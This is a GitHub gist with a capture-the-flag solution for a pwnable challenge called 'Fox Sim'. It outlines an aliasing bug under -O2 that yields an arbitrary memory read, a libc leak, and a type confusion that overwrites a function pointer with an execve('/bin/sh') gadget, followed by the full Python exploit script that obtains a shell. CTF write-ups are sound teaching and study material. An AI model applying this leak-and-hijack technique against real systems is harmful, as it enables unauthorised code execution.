Skip to content

Instantly share code, notes, and snippets.

@itszn
Created November 6, 2016 23:31
Show Gist options
  • Save itszn/3338e9e270866b5b6168645b4e7b0001 to your computer and use it in GitHub Desktop.
Save itszn/3338e9e270866b5b6168645b4e7b0001 to your computer and use it in GitHub Desktop.
Fox Sim
This challenge was a source only pwnable based on a aliasing bug with -O2. Also not all the source code was given.
Intended solution outline:
- In the source in assignVotes, a voter and a candidate can become aliased, and -02 optimization causes an incorrect return value.
o If the person is the same as the candidate, it sets the voteMessage to a constant string, which should change votesToGive as well, but the return is incorrect, so it instead returns the original votesToGive value.
o Then when going to print the error message, it instead tries print the votes (if it is > than the address of main)
o This will print what ever point is given, allowing memory to be leaked up to a null
- Now with an arbitrary read, we can dump the binary and reverse the missing code.
- We can also leak libc addresses and dump libc (or take it from some other challenge)
- Reversing the missing NWO.h header, we see that if a real candidate is used, they can add as many votes as they want.
- Our goal now is to find a collision with a real candidate and use them to hit this code.
o Jeb! collides with 123
- The candidate struct is larger than the person struct, so this type confusion allows us to write outside of the buffer, and happens to line up with the function pointer, so we can add an offset to the original pointer.
- Now we just have to call libc stuff
- Easiest way is to use a single execve("/bin/sh",NULL,NULL) gadget in libc.
- Replace the second person's function with this pointer
- Get shell
import socket
import sys
import os
import struct
import telnetlib
def readuntil(so,n):
d = ''
while not n in d:
c = so.recv(1)
if c == '': raise Exception("Disconnected: "+repr(d))
d+=c
return d
def readmem(addr,nb):
fd = ''
while len(fd)<nb:
readuntil(so,'name:')
so.send("a\n")
readuntil(so,'for:')
so.send("a\n")
readuntil(so,'? ')
so.send(str(addr+len(fd))+"\n")
d = readuntil(so,'\n[Press')[:-7]
print repr(d)
readuntil(so,']\n')
so.send("\n")
fd += d+'\x00'
fd = fd[:nb]
return fd
so = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if len(sys.argv)==1:
so.connect(('',9000))
os.system('ps aux | grep fox')
raw_input()
else:
so.connect(('fox.pwn.republican',9000))
raw_input()
fg = readmem(0x602040,8)
fg = struct.unpack('<Q',fg)[0]
print hex(fg)
#lbc = fg - 0x6E220
lbc = fg - 0x6dad0
print readuntil(so,'name:')
so.send("a\n")
print readuntil(so,'for:')
so.send("a\n")
print readuntil(so,'?')
so.send("1\n")
print readuntil(so,']\n')
so.send("\n")
print readuntil(so,'name:')
so.send("b\n")
print readuntil(so,'for:')
so.send("a\n")
print readuntil(so,'?')
so.send("1\n")
print readuntil(so,']\n')
so.send("\n")
print readuntil(so,'name:')
so.send("123\n")
print readuntil(so,'for:')
so.send("a\n")
print readuntil(so,'?')
addr = lbc + 0xE4AC8 - 0x4009e0 +1
addr = lbc + 0xF5B10 - 0x4009e0 +1
so.send(str(addr)+"\n")
print readuntil(so,']\n')
so.send("\n")
print readuntil(so,'name:')
so.send("a\n")
print readuntil(so,'for:')
so.send("b\n")
print readuntil(so,'?')
so.send("1\n")
t = telnetlib.Telnet()
t.sock = so
t.interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment